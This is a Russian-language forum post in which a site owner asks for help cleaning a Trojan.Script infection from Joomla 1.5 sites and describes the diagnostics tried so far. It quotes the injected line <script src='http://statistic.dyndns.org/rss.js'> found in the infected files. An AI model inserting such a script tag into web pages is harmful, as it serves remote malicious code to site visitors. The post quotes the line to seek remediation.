Вложений: 2
Лечение Trojan.Script, JS:Trojan.Script.NC, Trojan.Script!IK
Здравствуйте, многоуважаемые.
Завелась такая зараза на моих сайтах (см. тему). "Немного" о диагностике:
- Google. ВЕБ мастер выявил в теле зараженных файлов на сервере такую строку:
<script src="http://statistic.dyndns.org/rss.js"> и ей подобные
- еще гугл сообщил:
Число доменов, на которых размещается вредоносное ПО: 1 (в том числе stat.dontexist.com/). Сетей, в которых размещался этот сайт: 1 (в том числе AS35415 (WEBAZILLA)).
- скрипт quick-search.php, загруженный с одного сайта в помощь для излечения заразы в корневые директорию сайта и запущенный с именем основного домена выдал 144 и 277 подозрительных html, php, js файлов соответственно на 2-х сайтах
- сканирование Dr/Web online [URL="http://www.comss.ru/page.php?id=6"]здесь[/URL] не дало результатов (архив с бекапом сайта больше лимита)
- не помогло сканирование Avast-ом папки с бэкапами на компьютере - как будто все нормально.
Что же делать, желательно автоматическим способом???? Сайтs на Joomla 1.5. Я уже и компоненты на joomla.org искал, но бесплатных раз-два и обчелся - не помогают. Положение частично спасло обновление Joomla до 1.5.26, но зараза все равно осталась!!!
Т.к. комп проверял 3-мя различными антивирусами, отсылаю 2 файла админам (хелперам) этого сайта.
Прошу вашей помощи, ЛЮДИ! :O:(:O
